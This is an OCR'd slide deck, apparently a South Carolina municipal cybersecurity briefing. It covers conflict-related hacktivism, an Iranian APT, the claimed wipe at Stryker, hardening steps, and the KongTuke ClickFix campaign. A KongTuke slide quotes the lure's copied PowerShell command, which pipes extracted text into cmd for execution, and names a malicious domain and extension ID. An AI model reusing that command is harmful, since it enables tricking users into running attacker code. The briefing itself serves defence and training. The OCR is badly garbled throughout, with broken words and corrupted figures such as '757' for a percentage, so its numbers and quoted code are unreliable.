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The information provided here is for informational and educational purposes and current as of the date of
publication. The information is not a substitute for legal advice and does not necessarily reflect the opinion

or policy position of the Municipal Association of South Carolina. Consult your attorney for advice
concerning specific situations.

MIDDLE EASTERN CONFLICT
WHAT TO EXPECT AT HOME

HISTORICAL PRECEDENCE: ISRAEL-HAMAS
CONFLICT

= Hadktivist groups employed various strategies, utilizing botnets and automating attacks
toboost impadt

= Encouraged non-technical individuals to par i cipate in email spamming and
misin for matio n campaigns

Expansion of Hacktivist arsenal

= Wide range of tools, free and paid botnet services, scripts, stealers, and ransomware
distributed throu gh Telegram chan nels

= More than 60 h acktivist groups in
. rimary conflict was in Middle- rany Asian hacktivist groups also got
d

= Hadktivismis not bound toany region, rather it has worldwide influence

FIRST WEEK OF IRAN-ISRAEL CONFLICT

= 368 verified cyber incidents

Cyher Escalation within the first 7 days
was Immediate & = Primary focus on lsraeli critical
arg e-Scale infrastructure and government

(~50% of all attacks)

: = 13 OT/ICS intrusion claims
OTACS Intrusions et ity

= Distributed Denial of Service
DDoS Dominance (DDoS) attacks accounted for
nearly 757 allincidents
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ADVANCED PERSISTENT THREAT SPOTLIGHT

= |ran state -sponsored hacking group di
embedding itself in several US. companie:
3/6/2026 (banks, airports non-profit)
= Campaign assessed to have begunin early February
“Dindoor” backdoor and Python-based

= Announcedt wum on 2/28/2026, but n o confirmed
attributions have been made

= Likely to target energy and water sectors in U.S, and
Israel

= Handala has made claims ag; Se,
Healthcare, and Commun icafions seciors in the arrent
conflid

= Claimed attribution in the attacks against Stryker

CASE STUDY: STRYKER

= Medical devices manufacturer headquartered in Portage, M| with
global operations and sales

On Wednesday, March 11", Handala claimed that 200,000 sy stems,
servers, and mobile devices had been wiped, and 50 Terabytes of
data stolen

Some sources suggestthat Microsoft Intune was used toissue a
remote wipe of all corporately-managed devices, including
personal devices under BYOD policies

HARDENING AGAINST HACKTIVISM

= Enforce Multi-factor Authentication (MFA) on all accounts

= Patchallinternet-facing devices, VPN appliances, and edge infrastructure
immediately

Segment and isolate all ICS and OT environments
= Audit externally-facing assets (Shodan, Censys, SC CIC Threat Intelligence
program)

Review DD oS mitigation capacity

Ensure all staffare educated on Social Engineering techniques
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KongTuke

AKA LandGrab808/TAG-124/404 TDS

WHAT 15 KONGTUKE?

TRAFFIC DISTRIBUTION SYSTEMS
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COMPROMISED SITES

COMPROMISED SITES

EMBEDDED JAVASCRIPT




3/23/2026

ADDITIONAL COMPROMISED SITES

5W8).Js - EMBEDDED JAVASCRIPT

INTERESTING PARTS OF 5W8).Js

Coone GiE MD [P LOOKP WA CLOUDFLARE:




INTERESTING PARTS OF 5W8).Js

OS D BROWSER FINGENPRINTING:

CLICKFIX PROMPT

COPED COMMAND

p * | powershell - Command "$input
| Where-Object { $_ -match '\"*([* \""]* )\

'} | ForEach-0bject { $Matches[1].Trim() }" | cmd && exit
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RoAD-TO-HELL[.]ToP DNS TXT RECORD

MALICIOUS POWERSHELL

FuLL ATTACK CHAIN
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FULL ATTACK CHAIN

Extenslo n ID: kicm pbbbloliabpbfkfcm floml cakeck

ONLINE CYBERSECURITY TRAINING

CYBERDEFENDERS
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CYBERBIT

CYBERBIT

CYBERBIT




3/23/2026

IF YOU ARE INTERESTED IN
UTILIZING CYBERDEFENDERS OR

CYBERBIT, PLEASE EMAIL
CYBER@SLED.SC.GOV.
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